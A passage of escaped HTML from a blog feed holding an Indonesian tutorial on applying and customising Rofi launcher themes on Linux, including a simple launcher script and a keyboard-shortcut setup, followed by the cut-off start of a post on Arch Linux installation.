&lt;/span&gt;&lt;span&gt;type-2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;│&lt;/span&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type-7&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;launcher.sh&lt;/span&gt;&lt;span&gt;      &amp;lt;&lt;/span&gt;&lt;span&gt;---&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Fokus&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ke&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sini&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-1.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;├──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-2.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;     &lt;/span&gt;&lt;span&gt;└──&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;style-3.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;File &lt;strong&gt;launcher.sh&lt;/strong&gt; adalah &lt;em&gt;script&lt;/em&gt; untuk menampilkan tema&lt;/li&gt;
&lt;li&gt;File &lt;strong&gt;style-1/2/3.rasi&lt;/strong&gt; adalah file konfigurasi tema&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;&lt;p&gt;Isi dari setiap file &lt;strong&gt;launcher.sh&lt;/strong&gt;-nya kurang lebih seperti ini (saya ambil dari direktori &lt;strong&gt;type-1&lt;/strong&gt;):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Author : Aditya Shakya (adi1090x)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Github : @adi1090x&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Rofi   : Launcher (Modi Drun, Run, File Browser, Window)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Available Styles&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## style-1     style-2     style-3     style-4     style-5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## style-6     style-7     style-8     style-9     style-10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## style-11    style-12    style-13    style-14    style-15&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;dir&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$HOME&lt;/span&gt;&lt;span&gt;/.config../images/rofi/launchers/type-1&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;theme&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;style-1&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;## Run&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rofi&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;drun&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;-theme&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;dir&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&lt;span&gt;${&lt;/span&gt;&lt;span&gt;theme&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.rasi&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Jadi, untuk mengganti &lt;em&gt;style&lt;/em&gt; tema-nya, kita hanya perlu mengganti baris&lt;/p&gt;&lt;p&gt;&lt;code&gt;theme=&apos;style-1&apos;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;ke &lt;em&gt;style&lt;/em&gt; yang tersedia &lt;strong&gt;Available Styles&lt;/strong&gt;. Tidak semua &lt;em&gt;type&lt;/em&gt; menyediakan jumlah &lt;em&gt;style&lt;/em&gt; yang sama. Kalian bisa melihatnya langsung di setiap direktori &lt;em&gt;type&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Sebagai contoh, saya akan menggunakan config &lt;strong&gt;style-6&lt;/strong&gt; di &lt;strong&gt;type-1&lt;/strong&gt;:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;718&quot; height=&quot;508&quot; src=&quot;/_astro/ss11.txBqBG6i_ZJSTXF.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jalankan &lt;em&gt;script&lt;/em&gt; &lt;strong&gt;launcher.sh&lt;/strong&gt;-nya…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./launcher.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;689&quot; src=&quot;/_astro/gif3.CWiNovV-_Z1DImjC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berhasil!!&lt;/p&gt;&lt;p&gt;Tapi, kalau dilihat-lihat, icon-icon aplikasi yang muncul belum sesuai dengan tema distro-nya, &lt;em&gt;which is&lt;/em&gt; Windows95 a.k.a &lt;strong&gt;Chicago95&lt;/strong&gt;. Jadi, kita perlu menyesuaikan icon-nya juga. Gampang, kita tinggal ganti di file config rofi-nya saja.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;435&quot; src=&quot;/_astro/ss12.DVV-CebT_1Tbkj1.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Sekarang, icon-nya sudah berubah ke Chicago95 :)
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;689&quot; src=&quot;/_astro/gif4.DZ7WAmtj_1VCjHf.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Tapi, warna tema-nya masih biru, belum sesuai juga dengan tema distro-nya, Chicago95. Nah, berhubung warna tema yang ada di cover artikel ini sama dengan warna tema Chicago95, yaitu abu-abu, kita akan gunakan tema tersebut. Tema itu ada di &lt;strong&gt;type-7&lt;/strong&gt; dengan file config &lt;strong&gt;style-6&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;So, kita akan mengeksekusi &lt;em&gt;script&lt;/em&gt; &lt;strong&gt;launcher.sh&lt;/strong&gt; di direktori &lt;strong&gt;type-7&lt;/strong&gt;. Jangan lupa untuk mengganti tema ke style-6 di &lt;strong&gt;launcher.sh&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;503&quot; src=&quot;/_astro/ss13.BhGhfS1V_ZCiqb3.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Eksekusi…&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./launcher.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;689&quot; src=&quot;/_astro/gif5.B76etYZY_Z12LL5g.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yooo!!&lt;/p&gt;&lt;p&gt;Dan kita bisa mengedit size window-nya, size icon-nya, gambar background-nya, dan lain-lain di file konfigurasi tema-nya (dalam konteks tema ini di &lt;code&gt;/home/$USER/.config../images/rofi/launcher/type-7/style-6.rasi&lt;/code&gt;).&lt;/p&gt;&lt;p&gt;Sekarang, supaya Rofi kita bisa muncul ketika kita menekan tombol Windows atau &lt;strong&gt;[&lt;code&gt;Super Key&lt;/code&gt;]&lt;/strong&gt;, kita bisa menambahkannya ke &lt;em&gt;&lt;strong&gt;Application Shortcuts&lt;/strong&gt;&lt;/em&gt; di pengaturan Keyboard.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;951&quot; src=&quot;/_astro/ss14.Bm156F-6_Z1CtyIi.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikutnya, pada menu &lt;em&gt;&lt;strong&gt;Application Shortcuts&lt;/strong&gt;&lt;/em&gt;, klik &lt;em&gt;&lt;strong&gt;Add&lt;/strong&gt;&lt;/em&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;434&quot; height=&quot;657&quot; src=&quot;/_astro/ss15.BnfUEvh__Z2dUPkA.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, nanti akan muncul window &lt;em&gt;&lt;strong&gt;Shortcut Command&lt;/strong&gt;&lt;/em&gt;, klik &lt;strong&gt;&lt;em&gt;icon&lt;/em&gt; folder&lt;/strong&gt; kuning di sebelah kanan, dan pilih file &lt;strong&gt;launcher.sh&lt;/strong&gt; di direktori &lt;strong&gt;type-7&lt;/strong&gt; tadi.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;609&quot; height=&quot;624&quot; src=&quot;/_astro/ss16.BTaY5Ja-_158AHu.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dan akan muncul window untuk men-set &lt;em&gt;shortcut&lt;/em&gt; yang diinginkan. Silakan tekan tombol Windows atau &lt;strong&gt;[&lt;code&gt;Super Key&lt;/code&gt;]&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;377&quot; src=&quot;/_astro/gif6.CNzjVHDY_ZsDy3r.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah itu, kita bisa melihat di menu &lt;em&gt;&lt;strong&gt;Application Shortcuts&lt;/strong&gt;&lt;/em&gt;, aplikasi Rofi kita baru saja diberi &lt;em&gt;shortcut&lt;/em&gt; baru. Yeeay!!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;436&quot; height=&quot;243&quot; src=&quot;/_astro/ss17.CcBLwM4__Z2luF7x.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Dengan begitu, setiap kali kita menekan tombol &lt;strong&gt;[&lt;code&gt;Super Key&lt;/code&gt;]&lt;/strong&gt;, Rofi dengan tema baru akan tampak!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;567&quot; src=&quot;/_astro/gif7.CdVypT9U_2k3Q9c.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Mantavvv!!&lt;/p&gt;&lt;p&gt;Sekian dulu sharing tentang Rofi di artikel ini…&lt;/p&gt;&lt;p&gt;Sampai jumpa lagi di artikel saya yang lain.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://packages.debian.org/search?searchon=contents&amp;amp;keywords=rofi&amp;amp;mode=path&amp;amp;suite=stable&amp;amp;arch=any&quot; target=&quot;_blank&quot;&gt;https://packages.debian.org/search?searchon=contents&amp;amp;keywords=rofi&amp;amp;mode=path&amp;amp;suite=stable&amp;amp;arch=any&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://archlinux.org/packages/?sort=&amp;amp;q=rofi&amp;amp;maintainer=&amp;amp;flagged=&quot; target=&quot;_blank&quot;&gt;https://archlinux.org/packages/?sort=&amp;amp;q=rofi&amp;amp;maintainer=&amp;amp;flagged=&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://software.opensuse.org/package/rofi&quot; target=&quot;_blank&quot;&gt;https://software.opensuse.org/package/rofi&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs/rofi/&quot; target=&quot;_blank&quot;&gt;https://packages.fedoraproject.org/pkgs/rofi/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/davatorium/rofi&quot; target=&quot;_blank&quot;&gt;https://github.com/davatorium/rofi&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Archlinux KDE Installation via archinstall</title><link>https://shangdi.github.io/posts/tech/archinstall/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/archinstall/</guid><description>Archinstall is a helper library which automates the installation of Arch Linux. It is packaged with different pre-configured installers, such as a &apos;guided&apos; installer.</description><pubDate>Thu, 02 May 2024 02:52:29 GMT</pubDate><content:encoded>&lt;p&gt;Siapa yang tidak pernah dengar Archlinux?&lt;/p&gt;
&lt;p&gt;Archlinux adalah sebuah distro linux (legendaris) yang terkenal dengan &lt;strong&gt;komunitasnya yang besar&lt;/strong&gt; dari seluruh dunia dan &lt;strong&gt;dokumentasi distronya yang lengkap&lt;/strong&gt;. Hal lain yang menjadikan
